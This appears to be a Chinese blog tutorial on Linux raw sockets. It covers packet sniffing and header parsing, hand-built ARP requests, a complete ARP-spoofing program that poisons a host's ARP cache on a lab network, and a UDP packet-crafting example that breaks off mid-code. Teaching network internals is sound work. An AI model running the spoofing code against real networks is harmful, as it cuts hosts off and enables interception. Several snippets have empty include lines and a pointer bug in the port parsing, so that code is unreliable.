Linux网络编程-原始套接字

博主： HonestLiu
发布时间：2024 年 05 月 10 日
338 次浏览
暂无评论
27646字数
分类：默认分类

一.概述

1.介绍

使用原始套接字需要管理员权限

**原始套接字(SOCK_RAW):**是一种不同于SOCK_STREAM、SOCK_DGRAM的套接字，它实现于系统核心，可以接收本机网卡上的所有的数据帧(数据包)，对于监听网络流量和分析网络数据很有用，开发人员可发送自己组装的数据包到网络上，广泛应用于高级网络编程

2.数据的收发

**流式套接字只能收发：**TCP 协议的数据

**数据报套接字只能收发：**UDP 协议的数据

原始套接字可以收发：

内核没有处理的数据包，因此要访问其他协议
发送的数据需要使用，原始套接字(SOCK_RAW)

二.相关函数

1.创建原始套接字

函数定义:

#include 
#include 
int socket(int domain, int type, int protocol);

**功能:**创建链路层原始套接字

参数:

**domain：**PF_PACKET
**type:**SOCK_RAW
**protocol：**指定可以接收或发送的数据包类型

该参数需要使用htons将下面参数转成网络大端后填写
- ETH_P_IP:IPV4 数据包
- ETH_P_ARP:ARP 数据包
- ETH_P_ALL:任何协议类型的数据包

返回值:

成功:返回链路层套接字
失败：返回-1

示例:

sock_raw_fd = socket(PF_PACKET,SOCK_RAW,htons(ETH_P_ALL));

2.原始套接字接收数据

**简述:**原始套接字的数据接收使用recvfrom函数完成，不过因为是在链路层接收数据，少了网络传输层对数据的解包，所以即使设置了SockerAddr结构体也会没有数据，这里直接置NULL即可

函数定义:

#include 
#include 

ssize_t recvfrom(int sockfd, void *buf, size_t len, int flags,
                 struct sockaddr *src_addr, socklen_t *addrlen);

参数:

**sockfd:**原始套接字
**buf:**存储读取帧数据的unsigned char数组

这个数组的长度一般设置为1500，因为一帧数据通常即为1500
**flags:**设置为0即可
**src_addr和addrlen：**置NULL即可

**返回值:**接收到数据的长度

示例:

unsigned char buf[1500] = "";
recvfrom(sockFd, buf, sizeof(buf), 0, NULL, NULL);

3.原始套接字发送数据

(1)介绍

简述:原始套接字的数据发送是通过sendto发生完整的帧数据的，不过和接收数据一样，原始套接字的数据发送是处于链路层的，其发送面向的SockAddr结构体记录的是本地主机出去的网卡地址

(2)函数介绍

① sendto-数据发送

Ⅰ.函数定义

#include 
#include 

ssize_t sendto(int sockfd, const void *buf, size_t len, int flags,
               const struct sockaddr *dest_addr, socklen_t addrlen);

参数:

sockfd:原始套接字
buf:完整的帧数据

需要手动的组帧
len：帧的实际长度
flags：写0即可
dest_addr：本地主机帧数据出去的网卡地址

由sockaddr_ll结构体转成的通用套接字结构体，具体见下
addrlen：通用套接字结构体的长度

返回值:

成功：返回实际发送的字节数
失败：返回-1,并设置全局错误变量errno

Ⅱ.SockAddr_ll结构体

就本次使用原始套接字发送数据而言，只需要对sll_ifindex进行赋值即可

头文件:

结构体定义:

struct sockaddr_ll {
    unsigned short sll_family;   /* 地址族，一般为PF_PACKET */
    unsigned short sll_protocol; /* 上层的协议类型 */
    int            sll_ifindex;  /* 接口类型 */
    unsigned short sll_hatype;   /* 报头类型 */
    unsigned char  sll_pkttype;  /* 包类型 */
    unsigned char  sll_halen;    /* 地址长度 */
    unsigned char  sll_addr[8];  /* MAC地址 */
};

② Ioctl-本地机接口数据获取

Ⅰ.函数定义:

#include 

int ioctl(int fd, unsigned long request, ...);

参数：

fd:设备文件描述符
request:控制命令编号
可选参数
- 目前这里只要填写接收获取到接口的struct ifreq结构体即可

Ⅱ.Ifreq结构体

**使用：**这个结构体的作用，简单说更像是封装本地机接口类型作为Ioctl函数的参数以获取本地接口数据以供给sockaddr_ll结构体赋值之用

头文件:#include

结构体定义:

struct ifreq
  {
# define IFHWADDRLEN    6
# define IFNAMSIZ       IF_NAMESIZE
    union
      {
        char ifrn_name[IFNAMSIZ];       /* Interface name, e.g. "en0".  */
      } ifr_ifrn;

    union
      {
        struct sockaddr ifru_addr;
        struct sockaddr ifru_dstaddr;
        struct sockaddr ifru_broadaddr;
        struct sockaddr ifru_netmask;
        struct sockaddr ifru_hwaddr;
        short int ifru_flags;
        int ifru_ivalue;
        int ifru_mtu;
        struct ifmap ifru_map;
        char ifru_slave[IFNAMSIZ];      /* Just fits the size */
        char ifru_newname[IFNAMSIZ];
        __caddr_t ifru_data;
      } ifr_ifru;
  };

(3)函数封装

使用的时候可以直接调用这个发送帧数据

/*
 fd:原始套接字
 msg:要发送的帧数据
 len:发送帧数据的长度
 if_name；网卡名称
*/
int SendTo(int sockFd, unsigned char *msg, int len, char *if_name) {
    struct ifreq EthReq;//创建ifreq结构体
    strncpy(EthReq.ifr_name, if_name, IFNAMSIZ);//指定网卡名称

    int ret = ioctl(sockFd, SIOCGIFINDEX, &EthReq);//获取接口信息
    if (ret < 0) {
        perror("ioctl error");
        close(sockFd);
        _exit(-1);
    }
    //定义struct sockaddr_ll接口体，并将上面获取的接口信息赋值给其内的
    struct sockaddr_ll sll;
    memset(&sll, 0, sizeof(sll));
    sll.sll_ifindex = EthReq.ifr_ifindex;//给sll赋值

    //使用sendto发送数据
    int sendNum = sendto(sockFd, msg, len, 0, (struct sockaddr *) &sll, sizeof(sll));
    return sendNum;
}

三.报文分析(接收)

[!TIP] 参考： 参考计算机基础-网络基础中各个报文的详细结构 分析顺序： 基于原始套接字从链路层开始一层层向上分析报文数据

1.接收帧数据

步骤:

定义1500长度的char数组，用以接收帧数据
使用recvfrom()函数接收帧数据(无需定义SocketAddr结构体接收，这里是位于链路层，不会有数据)

实现:

unsigned char buf[1500] = "";
recvfrom(sockFd, buf, sizeof(buf), 0, NULL, NULL);

2.MAC报文解析

(1)解析目的、源mac地址

步骤:

定义两个18长度的数组接收目的macdst_mac和源macsrc_mac

长度18的来源就是mac地址的位数 --> 10-F6-0A-5B-DE-1C 共18位
使用%02x作为占位符从帧数据中解析mac数据，每次移动1位(基于mac报文的设计)

实现: buf是接受到的帧数据

/*解析mac报文*/
char dst_mac[18] = "";//10-F6-0A-5B-DE-1C，共18位
char src_mac[18] = "";
printf("%s\n", buf);
//解析目的mac地址
sprintf(dst_mac, "%02x:%02x:%02x:%02x:%02x:%02x", buf[0], buf[1], buf[2], buf[3], buf[4],
        buf[5]);
//解析源mac地址，向后移动6位让其到达源mac位置
sprintf(src_mac, "%02x:%02x:%02x:%02x:%02x:%02x", buf[0 + 6], buf[1 + 6], buf[2 + 6],
        buf[3 + 6], buf[4 + 6], buf[5 + 6]);

(2)解析mac报文类型

步骤:

记录帧数据的数组向前移动12位即可得到报文类型了(报文设计)
不过在使用前需要使用ntohs()函数将其从网络大端转为主机的小端

实现:

//获取数据报类型,buf帧向后移动12位到达mac数据报类型位置(需要从大端转为小端)
unsigned short mac_type = ntohs(*(unsigned short *) (buf + 12));
if (mac_type == 0x0800) {
    printf("上层为IP报文\n");
} else if (mac_type == 0x0806) {
    printf("上层为arp报文\n");
} else if (mac_type == 0x8035) {
    printf("上层为RARP报文\n");
}

3.解析IP报文

建立在上面mac解析的mac_type类型是IP报文的基础上的

前期操作: 先在帧数据的基础上+14移动到IP报文区域,方便后继操作

unsigned char *Ip = buf + 14;//buf是记录一帧数据的数组，具体见前面

(1)解析协议类型

步骤:

取IP报文区域的第9个字节的数据即可得到协议的类型代号(是一个长度为1的unsigned char字符串)

后继根据报文设计对类型代码进行判断确定具体的协议类型即可

实现：

unsigned char *Ip = buf + 14;//buf是记录一帧数据的数组，具体见前面

/*解析协议类型*/
unsigned char ip_type = Ip[9];
if (ip_type == 1) {
    printf("IP报文协议类型为ICMP\n");
}
if (ip_type == 2) {
    printf("IP报文协议类型为IGMP\n");
}
if (ip_type == 6) {
    printf("IP报文协议类型为TCP\n");
}
if (ip_type == 17) {
    printf("IP报文协议类型为UDP\n");
}

(2)解析源IP和目的IP

步骤:

定义两个长度为16的字符串接收源IP和目的IP

IPv4地址的最大长度（包括点分隔符）是15个字符，包括\0后即16
移动指针到帧数据的源IP位置，并使用inet_ntop将大端转为小端即可获得源IP，目的IP同理

实现:


unsigned char *Ip = buf + 14;//buf是记录一帧数据的数组，具体见前面
/*解析IP源、目的地址*/
char src_ip[16] = "";
char dst_ip[16] = "";//192.168.141.254\0,共16位
//解析源IP
inet_ntop(AF_INET, Ip + 12, src_ip, 16);
//解析目的IP
inet_ntop(AF_INET, Ip + 16, dst_ip, 16);
        
printf("源IP:%s;目的IP:%s", src_ip, dst_ip);

4.TCP和UDP报文分析

UDP同理，根据其报文结构调整下面的程序即可，不另外说明

(1)IP报文头部长度获取

原因: 因为IP报文设计中存在一个选项(32位),其可有可无，致使我们无法直接确定IP报文头部的长度，也就无法确定数据(TCP和UDP报文所在)位在帧数据中的起始值 获取方法: 通过IP报文中的首部长度(4位)，获取报文的长度，不过其只占用了ip[0]中的低4位，剩下的高4位需要与上16进制的0x0f去掉，最后需要*4，因为头部长度是以32位字(4字节)为单位给出的,所以必须乘4才能得到实际的报文头部长度

实现: int ip_head_len = (ip[0] & 0x0f) * 4;

(2)解析TCP报文端口

步骤:

在Ip报文头部的基础上向后移动Ip报文的头部长度即可得到TCP报文的起始位置
每个端口占2个字节长度，移动两次并大端转小端即可得到端口信息了

**实现:**

//获取IP报文的长度
int ip_head_len = (Ip[0] & 0x0f) * 4;
//移动Ip报文位置到TCP报文位置
unsigned char *Tcp = Ip + ip_head_len;

//解析源端口和目的端口
unsigned short src_port = ntohs(*(unsigned short *) Tcp);
unsigned short dst_port = ntohs(*(unsigned short *) Tcp + 2);
printf("源端口:%hu;目的端口:%hu\n", src_port, dst_port);

(3)获取TCP报文数据

**注意事项:**TCP头部长度字段表示TCP头部的长度，但它的单位是32位字（4字节）。这意味着，TCP头部长度字段的值乘以4才能得到TCP头部的实际长度，以字节为单位。如果你不乘以4，得到的值将不会是TCP头部的实际长度，而只是TCP头部长度字段的原始值 步骤:

先从TCP报文的**头部长度(4位)**中获取TCP报文的头部长度

① 取TCP报文首地址起始第12位字节的高4位，即向低4位清0

② 再位移4个字节，获取的高4位位移到最低端，因为TCP头部是以32位为单位的所以需要将这4位位移到最低端才好处理

③ 将高4位清0，保证正确性

④ 因为头部长度的范围是4,乘4才能得到真实的长度 int tcp_head_len = (((tcp[12]&0xf0)>>4)&0x0f)*4;

最后在TCP报文的起始位置加上TCP报文头部长度的位置开始的内容就是报文数据了

实现:

//获取IP报文的长度
int ip_head_len = (Ip[0] & 0x0f) * 4;
//移动Ip报文位置到TCP报文位置
unsigned char *Tcp = Ip + ip_head_len;

//计算TCP报文的长度
int tcp_head_len = (((Tcp[12] & 0xf0) >> 4) & 0x0f) * 4;

//打印获取到的数据
printf("TCP报文的数据为:%s\n", Tcp + tcp_head_len);

5.完整代码

代码:

#include 
#include 
#include 
#include 
#include 

int main(int argc, char const *argv[]) {
    /*创建原始套接字*/
    int sockFd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    if (sockFd < 0) {
        perror("create sock_raw");
        return 0;
    }
    printf("create sock_raw:%d\n", sockFd);
    while (1) {
        /*接收完整的帧数据*/
        unsigned char buf[1500] = "";
        recvfrom(sockFd, buf, sizeof(buf), 0, NULL, NULL);//此处是在链路层接收数据，无需设置socketAddr结构体接收数据，无意义

        /*解析mac报文*/
        char dst_mac[18] = "";//10-F6-0A-5B-DE-1C，共18位
        char src_mac[18] = "";
        printf("%s\n", buf);
        //解析目的mac地址
        sprintf(dst_mac, "%02x:%02x:%02x:%02x:%02x:%02x", buf[0], buf[1], buf[2], buf[3], buf[4],
                buf[5]);
        //解析源mac地址，向后移动6位让其到达源mac位置
        sprintf(src_mac, "%02x:%02x:%02x:%02x:%02x:%02x", buf[0 + 6], buf[1 + 6], buf[2 + 6],
                buf[3 + 6], buf[4 + 6], buf[5 + 6]);

        printf("目的mac:%s,源mac:%s\n", dst_mac, src_mac);

        //获取数据报类型,buf帧向后移动12位到达mac数据报类型位置(需要从大端转为小端)
        unsigned short mac_type = ntohs(*(unsigned short *) (buf + 12));
        if (mac_type == 0x0800) {
            /*解析IP报文*/
            printf("上层为IP报文\n");
            //移动帧的位置到IP报文的区域，并使用ip记录其起始值
            unsigned char *Ip = buf + 14;

            //解析协议类型*
            unsigned char ip_type = Ip[9];
            if (ip_type == 1) {
                printf("IP报文协议类型为ICMP\n");
            }
            if (ip_type == 2) {
                printf("IP报文协议类型为IGMP\n");
            }
            if (ip_type == 6) {
                printf("IP报文协议类型为TCP\n");

                /*解析TCP报文*/
                //获取IP报文的长度
                int ip_head_len = (Ip[0] & 0x0f) * 4;
                //移动Ip报文位置到TCP报文位置
                unsigned char *Tcp = Ip + ip_head_len;

                //解析源端口和目的端口
                unsigned short src_port = ntohs(*(unsigned short *) Tcp);
                unsigned short dst_port = ntohs(*(unsigned short *) Tcp + 2);
                printf("源端口:%hu;目的端口:%hu\n", src_port, dst_port);

                //计算TCP报文的长度
                int tcp_head_len = (((Tcp[12] & 0xf0) >> 4) & 0x0f) * 4;

                //打印获取到的数据
                printf("TCP报文的数据为:%s\n", Tcp + tcp_head_len);

            }
            if (ip_type == 17) {
                printf("IP报文协议类型为UDP\n");

                /*解析UDP报文*/
                //获取IP报文的长度
                int ip_head_len = (Ip[0] & 0x0f) * 4;
                //移动Ip报文位置到UDP报文位置
                unsigned char *Udp = Ip + ip_head_len;

                //解析源端口和目的端口
                unsigned short src_port = ntohs(*(unsigned short *) Udp);
                unsigned short dst_port = ntohs(*(unsigned short *) Udp + 2);
                printf("源端口:%hu;目的端口:%hu\n", src_port, dst_port);

                //打印获取到的数据
                printf("UDP报文的数据为:%s\n", Udp + 8);
            }

            //解析IP源、目的地址
            char src_ip[16] = "";
            char dst_ip[16] = "";//192.168.141.254\0,共16位
            //解析源IP
            inet_ntop(AF_INET, Ip + 12, src_ip, 16);
            //解析目的IP
            inet_ntop(AF_INET, Ip + 16, dst_ip, 16);

            printf("源IP:%s;目的IP:%s\n", src_ip, dst_ip);

        } else if (mac_type == 0x0806) {
            printf("上层为arp报文\n");
        } else if (mac_type == 0x8035) {
            printf("上层为RARP报文\n");
        }

    }

    close(sockFd);

**效果:**获取到的数据出现乱码是正常的，因为这里是临时当它是字符串打印的，实际是什么谁也拿不准

目的mac:00:50:56:c0:00:08,源mac:00:0c:29:c1:d3:13
上层为IP报文
源IP:192.168.141.128;目的IP:192.168.141.1
IP报文协议类型为TCP
源端口:22;目的端口:534
TCP报文的数据为:aQ�&y9�I���B����,u�

四.报文组包(发送)

1.获取某个PC的Mac地址

(1)ARP报文

① 结构

② 组包(请求包)

这里是手动组包，实际不太这么整，具体看下面ARP欺骗那种结构体组包

目的mac地址:ff:ff:ff:ff:ff:ff

请求的ARP包，这里填ff:ff:ff:ff:ff:ff,会将该请求发送给局域网的所有设备

源mac地址:00:0c:29:c1:d3:13

这是本机的mac地址，通过ifconfig获取

帧类型:0x0806

自然是ARP类型啦

硬件类型:0001

即十进制的1，表示以太网地址

协议类型:0x0800

即IP

**硬件地址长度:**6

固定的,且直接以十进制形式填写

**协议地址长度:**4

固定的，且直接以十进制形式填写

**OP:**这里填ARP请求，即1，填2进制数->0001

**源mac地址:**本机的mac地址

**源IP:**本机的IP地址

**目的Mac地址：**对于请求的ARP包，这里直接填00:00:00:00:00:00即可

**目的IP:**目的主机的IP地址

unsigned char ArpPack[512] = {
    //------------------mac头------------------
    0xff, 0xff, 0xff, 0xff, 0xff, 0xff,/*目的mac地址，请求即未知，使用ff:ff:ff:ff:ff:ff*/
        0x00, 0x0c, 0x29, 0xc1, 0xd3, 0x13,/*源mac地址*/
        0x08, 0x06,/*帧类型*/
        //------------------arp头------------------
        0x00, 0x01,/*硬件类型*/
        0x08, 0x00,/*协议类型*/
        6,/*硬件地址长度*/
        4,/*协议地址长度*/
        0x00, 0x01,/*arp请求报文*/
        0x00, 0x0c, 0x29, 0xc1, 0xd3, 0x13,/*源mac地址*/
        192, 168, 141, 128,/*源IP*/
        0, 0, 0, 0, 0, 0,/*目的mac地址*/
        192, 168, 141, 1/*目的IP*/

};

(2)完整代码

**代码:**这个代码是虚拟机(192.168.141.128)请求宿主机(192.168.141.1)mac地址的代码

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

/*
 fd:原始套接字
 msg:要发送的帧数据
 len:发送帧数据的长度
 if_name；网卡名称
*/
int SendTo(int sockFd, unsigned char *msg, int len, char *if_name) {
    struct ifreq EthReq;//创建ifreq结构体
    strncpy(EthReq.ifr_name, if_name, IFNAMSIZ);//指定网卡名称

    int ret = ioctl(sockFd, SIOCGIFINDEX, &EthReq);//获取接口信息
    if (ret < 0) {
        perror("ioctl error");
        close(sockFd);
        _exit(-1);
    }
    //定义struct sockaddr_ll接口体，并将上面获取的接口信息赋值给其内的
    struct sockaddr_ll sll;
    memset(&sll, 0, sizeof(sll));
    sll.sll_ifindex = EthReq.ifr_ifindex;//给sll赋值

    //使用sendto发送数据
    int sendNum = sendto(sockFd, msg, len, 0, (struct sockaddr *) &sll, sizeof(sll));
    return sendNum;
}

int main() {
    /*创建原始套接字*/
    int sockFd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    if (sockFd < 0) {
        perror("create sock_raw");
    }
    //打印创建的原始套接字
    printf("create sock_raw:%d\n", sockFd);

    /*发出ARP请求*/

    //组ARP包
    unsigned char ArpPack[512] = {
            //------------------mac头------------------
            0xff, 0xff, 0xff, 0xff, 0xff, 0xff,/*目的mac地址，请求即未知，使用ff:ff:ff:ff:ff:ff*/
            0x00, 0x0c, 0x29, 0xc1, 0xd3, 0x13,/*源mac地址*/
            0x08, 0x06,/*帧类型*/
            //------------------arp头------------------
            0x00, 0x01,/*硬件类型*/
            0x08, 0x00,/*协议类型*/
            6,/*硬件地址长度*/
            4,/*协议地址长度*/
            0x00, 0x01,/*arp请求报文*/
            0x00, 0x0c, 0x29, 0xc1, 0xd3, 0x13,/*源mac地址*/
            192, 168, 141, 128,/*源IP*/
            0, 0, 0, 0, 0, 0,/*目的mac地址*/
            192, 168, 141, 1/*目的IP*/
    };

    //发出ARP帧
    int len = SendTo(sockFd, ArpPack, 42, "ens33");
    printf("发出长度为:%d的数据\n", len);

    /*接收ARP请求*/
    while (1) {
        unsigned char buf[1500] = "";
        recvfrom(sockFd, buf, sizeof(buf), 0, NULL, NULL);
        //解析数据报的类型
        unsigned short mac_type = ntohs(*(unsigned short *) (buf + 12));
        if (mac_type == 0x0806) {
            printf("上层为arp报文\n");
            //获取OP请求，判断是不是ARP应答
            unsigned short op = ntohs(*(unsigned short *) (buf + 20));
            if (op == 2) {
                //为应答，则提取回应的mac地址
                char src_mac[18] = "";
                sprintf(src_mac, "%02x:%02x:%02x:%02x:%02x:%02x", buf[0 + 6], buf[1 + 6], buf[2 + 6],
                        buf[3 + 6], buf[4 + 6], buf[5 + 6]);
                //提取回应的IP地址
                char src_ip[16] = "";
                inet_ntop(AF_INET, buf + 28, src_ip, 16);
                printf("ARP应答IP：%s;对应Mac地址:%s\n", src_ip, src_mac);
                break;
            }
        }
    }

    close(sockFd);
    return 0;
}

结果:

honestliu@honestliu-virtual-machine:~/Develop/UnixNet/SockRow原始套接字$ sudo ./a.out 
create sock_raw:3
发出长度为:42的数据
上层为arp报文
ARP应答IP：192.168.141.1;对应Mac地址:00:50:56:c0:00:08

五.ARP欺骗分析(ARP组包发送)

1.结构体组包

(1)以太网头部(mac报文)

① ether_header(首选)

头文件:#include

**结构体:**struct ether_header

struct ether_header
{
  uint8_t  ether_dhost[ETH_ALEN];       /* 目的MAC地址 */
  uint8_t  ether_shost[ETH_ALEN];       /* 源MAC地址 */
  uint16_t ether_type;                  /* 帧类型 */
}

② struct ethhdr

头文件:#include

**结构体:**struct ethhdr

struct ethhdr {
        unsigned char   h_dest[ETH_ALEN];       /* 目的MAC地址 */
        unsigned char   h_source[ETH_ALEN];     /* 源MAC地址 */
        __be16          h_proto;                /* 帧类型 */
}

(2)ARP头部

这个结构体建议直接去/usr/include/net/f_arp.h拷贝到本地代码重新定义下，因为需要用到注释的内容

不建议直接修改系统头文件，容易出问题

头文件:#include

**结构体:**struct arphdr

struct arphdr {  
    unsigned short int ar_hrd;          /* 硬件类型 (Hardware type)  
                                           指定了网络类型，例如以太网（ETH_P_ARP） */  
    unsigned short int ar_pro;          /* 协议地址格式 (Protocol address format)  
                                           指定了网络层协议类型，例如 IPv4（ETH_P_IP） */  
    unsigned char ar_hln;               /* 硬件地址长度 (Hardware address length)  
                                           硬件地址（例如 MAC 地址）的长度，通常是 6 个字节 */  
    unsigned char ar_pln;               /* 协议地址长度 (Protocol address length)  
                                           网络层地址（例如 IPv4 地址）的长度，IPv4 中是 4 个字节 */  
    unsigned short int ar_op;           /* ARP 操作码 (ARP opcode) */  
  

#if 0  
    /* 发送者硬件地址 (Sender hardware address)  */  
    unsigned char __ar_sha[ETH_ALEN];     
  
    /* 发送者 IP 地址 (Sender IP address) */  
    unsigned char __ar_sip[4];            
  
    /* 目标硬件地址 (Target hardware address)  */  
    unsigned char __ar_tha[ETH_ALEN];     
  
    /* 目标 IP 地址 (Target IP address) */  
    unsigned char __ar_tip[4];            
#endif  
};

2.APR欺骗实例

其实只实现了欺骗目标主机使其失去对本主机的访问能力，只需欺骗目标主机对特定主机的访问能力，这个以后再探究

代码:

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include  //以太网头部

/*代码说明:
 * 192.168.141.1:是要欺骗的主机IP
 * 192.168.141.128：是欺骗的IP
 * 功能:
 * 循环20次，每隔1S发送一个arp应答，让要欺骗主机对应欺骗IP的mac地址修改成"ee:ee:ee:ee:ee:ee"
 * 使其无法访问该IP对应的主机
 * */

//ARP头结构体，根据系统头文件修改而来
typedef struct ah {
    unsigned short int ar_hrd;          /* 硬件类型 (Hardware type)  */
    unsigned short int ar_pro;          /* 协议地址格式 (Protocol address format) */
    unsigned char ar_hln;               /* 硬件地址长度 (Hardware address length)*/
    unsigned char ar_pln;               /* 协议地址长度 (Protocol address length)*/
    unsigned short int ar_op;           /* ARP 操作码 (ARP opcode) */

    unsigned char __ar_sha[ETH_ALEN];/* 发送者硬件地址 (Sender hardware address)  */
    unsigned char __ar_sip[4];/* 发送者 IP 地址 (Sender IP address) */
    unsigned char __ar_tha[ETH_ALEN];/* 目标硬件地址 (Target hardware address)  */
    unsigned char __ar_tip[4];/* 目标 IP 地址 (Target IP address) */
} ArpHd;

/*
 fd:原始套接字
 msg:要发送的帧数据
 len:发送帧数据的长度
 if_name；网卡名称
*/
int SendTo(int sockFd, unsigned char *msg, int len, char *if_name) {
    struct ifreq EthReq;//创建ifreq结构体
    strncpy(EthReq.ifr_name, if_name, IFNAMSIZ);//指定网卡名称

    int ret = ioctl(sockFd, SIOCGIFINDEX, &EthReq);//获取接口信息
    if (ret < 0) {
        perror("ioctl error");
        close(sockFd);
        _exit(-1);
    }
    //定义struct sockaddr_ll接口体，并将上面获取的接口信息赋值给其内的
    struct sockaddr_ll sll;
    memset(&sll, 0, sizeof(sll));
    sll.sll_ifindex = EthReq.ifr_ifindex;//给sll赋值

    //使用sendto发送数据
    int sendNum = sendto(sockFd, msg, len, 0, (struct sockaddr *) &sll, sizeof(sll));
    return sendNum;
}

int main() {
    int sockFd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    if (sockFd < 0) {
        perror("create sock_raw");
    }
    //打印创建的原始套接字
    printf("create sock_raw:%d\n", sockFd);

    //存储帧的空间
    unsigned char buf[1500] = "";

    /*定义以太网头部*/
    unsigned char des_mac[] = {0x00, 0x50, 0x56, 0xc0, 0x00, 0x08};//目的mac,欺骗目的地主机
    unsigned char src_mac[] = {0xee, 0xee, 0xee, 0xee, 0xee, 0xee};//源mac.这是用以修改目的主机的mac
    struct ether_header *ethHd = (struct ether_header *) buf;
    memcpy(ethHd->ether_dhost, des_mac, 6);//设置目的mac
    memcpy(ethHd->ether_shost, src_mac, 6);//设置源mac
    ethHd->ether_type = htons(0x0806);//设置帧类型

    /*定义ARP头部.注意要移动指针到定义ARP头部的位置*/
    unsigned char src_ip[] = {192, 168, 141, 128};
    unsigned char des_ip[] = {192, 168, 141, 1};
    ArpHd *arpHd = (ArpHd *) (buf + 14);

    arpHd->ar_hrd = htons(1);
    arpHd->ar_pro = htons(0x0800);
    arpHd->ar_hln = 6;
    arpHd->ar_pln = 4;
    arpHd->ar_op = htons(2);
    memcpy(arpHd->__ar_sha, src_mac, 6);//发过去的是用以欺骗的mac地址
    memcpy(arpHd->__ar_sip, src_ip, 4);
    memcpy(arpHd->__ar_tha, des_mac, 6);
    memcpy(arpHd->__ar_tip, des_ip, 4);

    /*循环发送欺骗arp*/
    for (int i = 0; i < 20; ++i) {
        SendTo(sockFd,buf,14+28,"ens33");
        sleep(1);
    }

    //释放原始套接字
    close(sockFd);
    return 0;
}

效果:

六.原始套接字发送UDP报文

1.IP和UDP报文结构体

(1)IP报文

关于校验和，定义时先置零，后继再计算赋值

① 概述

头文件:#include

结构体:

struct iphdr
  {
#if __BYTE_ORDER == __LITTLE_ENDIAN		//小端
    unsigned int ihl:4;//首部长度
    unsigned int version:4;//版本
#elif __BYTE_ORDER == __BIG_ENDIAN		//大端
    unsigned int version:4;//版本
    unsigned int ihl:4;//首部长度
#else
# error "Please fix "
#endif
    uint8_t tos;//服务类型
    uint16_t tot_len;//总长度
    uint16_t id;//标识
    uint16_t frag_off;//标志、片偏移
    uint8_t ttl;//生存时间
    uint8_t protocol;//协议
    uint16_t check;//首部校验和，定义时先置零，后继再计算赋值
    uint32_t saddr;//源地址IP
    uint32_t daddr;//目的地址IP
    /*The options start here. */
  };

② 首部校验和计算函数

暂时不理解

unsigned short checksum(unsigned short *buf, int len)  
{  
    int nword = len / 2;  
    unsigned long sum;  
  
    if (len % 2 == 1)  
        nword++;  
    for (sum = 0; nword > 0; nword--)  
    {  
        sum += *buf;  
        buf++;  
    }  
    sum = (sum >> 16) + (sum & 0xffff);  
    sum += (sum >> 16);  
    return ~sum;  
}

(2)UDP报文结构体

UDP校验需要伪头部

UDP的数据必须是偶数，不是偶数要对其进行填充

头文件:#include

**结构体:**先阶段实际使用时只需要关注后面我写了中文注释的地方即可

struct udphdr
{
  __extension__ union
  {
    struct
    {
      uint16_t uh_sport;        /* source port */
      uint16_t uh_dport;        /* destination port */
      uint16_t uh_ulen;         /* udp length */
      uint16_t uh_sum;          /* udp checksum */
    };
    struct
    {
      uint16_t source;//源端口号
      uint16_t dest;//目的端口号
      uint16_t len;//长度
      uint16_t check;//校验和
    };
  };
};

(3)实现

① 代码说明

**源主机:**192.168.141.128

**源mac:**00:0c:29:c1:d3:13

**目的主机:**192.168.141.1

**目的mac:**00-50-56-C0-00-08

② 功能

**关键(我不会的):**IP报文和UDP报文的校验和计算

**功能：**由原主机通过标准输入读取用户输入，然后组包通过UDP协议发送数据

③ 实现

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include  //以太网mac报文
#include //IP报文
#include //udp报文

/*
 fd:原始套接字
 msg:要发送的帧数据
 len:发送帧数据的长度
 if_name；网卡名称
*/
int SendTo(int sockFd, unsigned char *msg, int len, char *if_name) {
    struct ifreq EthReq;//创建ifreq结构体
    strncpy(EthReq.ifr_name, if_name, IFNAMSIZ);//指定网卡名称

    int ret = ioctl(sockFd, SIOCGIFINDEX, &EthReq);//获取接口信息
    if (ret < 0) {
        perror("ioctl error");
        close(sockFd);
        _exit(-1);
    }
    //定义struct sockaddr_ll接口体，并将上面获取的接口信息赋值给其内的
    struct sockaddr_ll sll;
    memset(&sll, 0, sizeof(sll));//清0
    sll.sll_ifindex = EthReq.ifr_ifindex;//给sll赋值

    //使用sendto发送数据
    int sendNum = sendto(sockFd, msg, len, 0, (struct sockaddr *) &sll, sizeof(sll));
    return sendNum;
}

/*校验IP首部的函数*/
unsigned short checksum(unsigned short *buf, int len) {
    int nWord = len / 2;
    unsigned long sum;

    if (len % 2 == 1)
        nWord++;
    for (sum = 0; nWord > 0; nWord--) {
        sum += *buf;
        buf++;
    }
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    return ~sum;
}

/*UDP伪首部结构体*/
struct pseudoHeader {
    u_int32_t sAddr;//源IP地址
    u_int32_t dAddr;//目的IP地址
    u_int8_t flag;//我不知道，😂(记得查)
    u_int8_t pro;//8位协议
    u_int16_t len;//16位UDP长度
};


int main() {
    /*创建原始套接字*/
    int sockFd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    if (sockFd < 0) {
        perror("create sock_raw");
    }
    //打印创建的原始套接字
    printf("create sock_raw:%d\n", sockFd);

    /*读取要发送的数据*/
    char data[128] = "";;
    printf("请输入要发送的数据\n");
    scanf("%s", data);
    //udp输入的数据必须是偶数
    int data_len = strlen(data) + strlen(data) % 2;

    /*组包*/
    unsigned char buf[1500] = "";
    //以太网mac报文
    unsigned char des_mac[] = {0x00, 0x50, 0x56, 0xc0, 0x00, 0x08};//目的mac地址
    unsigned char src_mac[] = {0x00, 0x0c, 0x29, 0xc1, 0xd3, 0x13};//源mac地址
    struct ether_header *etherHeader = (struct ether_header *) buf;//申请报文空间
    //构建以太网mac头部
    memcpy(etherHeader->ether_dhost, des_mac, 6);
    memcpy(etherHeader->ether_shost, src_mac, 6);
    etherHeader->ether_type = htons(0x0800);//协议为IP

    /*IP报文*/
    struct iphdr *ipHd = (struct iphdr *) (buf + 14);//14是以太网头部所占用的大小

    //封装报文数据
    ipHd->version = 4;//IPV4协议
    ipHd->ihl = 5;//首部长度
    ipHd->tos = 0;//服务类型
    ipHd->tot_len = htons(20 + 8 + data_len);//IP首部 + (UDP首部 + 数据长度)
    ipHd->id = htons(0);//标识
    ipHd->frag_off = htons(0);//偏移片
    ipHd->ttl = 128;//生存时间
    ipHd->protocol = 17;//即UDP协议
    ipHd->check = htons(0);//先以0填充，后继计算皇后再放置到这
    ipHd->saddr = inet_addr("192.168.141.128");//源IP
